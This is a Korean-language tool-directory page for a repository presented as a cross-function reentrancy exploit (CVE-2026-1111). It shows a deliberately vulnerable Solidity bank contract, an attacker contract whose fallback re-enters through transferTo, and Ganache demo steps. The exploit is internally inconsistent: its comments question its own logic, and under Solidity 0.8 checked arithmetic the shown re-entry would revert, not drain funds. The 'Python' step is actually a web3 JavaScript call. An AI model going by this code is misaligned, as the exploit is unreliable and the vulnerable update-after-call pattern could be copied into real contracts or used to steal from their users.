Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
Vulnerability AnalysisExploitationLearning & Education
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

스마트 계약을 위한 교차 함수 재진입 익스플로잇 예제입니다. 폴백 재진입을 통한 자금 탈취를 시연하는 취약한 Solidity 계약과 공격자 계약을 포함합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
18일 전아직 검토되지 않음

CVE-2026-1111 – 스마트 계약 교차 함수 재진입

프로그램 코드 (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – 스마트 계약에서의 교차 함수 재진입

Severity: Critical

개요

스마트 계약에 전역 재진입 가드가 없어, 공격자가 withdraw 호출 중 다른 함수를 통해 계약에 재진입하여 로컬 가드를 우회하고 자금을 탈취할 수 있습니다.

취약점 세부 정보

  • 유형: 재진입
  • 영향: 잠긴 모든 이더 탈취
  • 근본 원인: withdraw 함수는 외부 호출 후 잔액을 업데이트하며, 별도의 상태 변경 함수(transferTo)를 재진입으로 호출하여 잔액을 조작할 수 있습니다.

악용 데모

  1. 로컬 이더리움 노드(Ganache)를 시작합니다:
    root@kitploit:~
    ganache-cli
    
  2. Remix 또는 Truffle을 사용하여 VulnerableBank.sol 및 Attacker.sol을 배포합니다.
  3. Python 스크립트를 통해 공격을 실행합니다(Remix 콘솔로 시뮬레이션):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
도구 다운로드